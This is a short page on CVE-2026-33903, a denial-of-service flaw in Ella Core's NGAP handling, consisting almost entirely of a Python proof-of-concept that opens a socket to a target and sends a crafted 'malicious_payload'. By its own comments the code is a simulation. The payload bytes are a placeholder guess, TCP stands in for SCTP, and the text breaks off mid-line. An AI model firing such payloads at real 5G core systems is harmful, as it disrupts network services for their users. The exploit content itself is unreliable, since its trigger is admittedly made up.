CVE-2026-33903 Ella Core NGAP消息拒绝服务漏洞

import socket # This is a simulated Proof of Concept (PoC) for CVE-2026-33903. # It demonstrates how a malformed NGAP message might be sent to trigger the panic. # Note: Actual NGAP protocol implementation (usually over SCTP) is required for a real exploit. def send_malformed_ngap(target_ip, target_port): try: # Simulating a crafted NGAP LocationReport message payload. # The specific bytes causing the panic would require fuzzing or analysis of the specific commit. # This represents a trigger packet structure. malicious_payload = b"\x00\x0e\x40" + b"\x00" * 10 + b"\xff\xff" + b"A" * 200 print(f"[*] Sending malformed NGAP packet to {target_ip}:{target_port}...") # NGAP typically runs over SCTP, but for demonstration we use a TCP socket wrapper # or assume the tester has an environment setup to route this. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(malicious_payload) s.close() print("[+] Payload sent successfully.
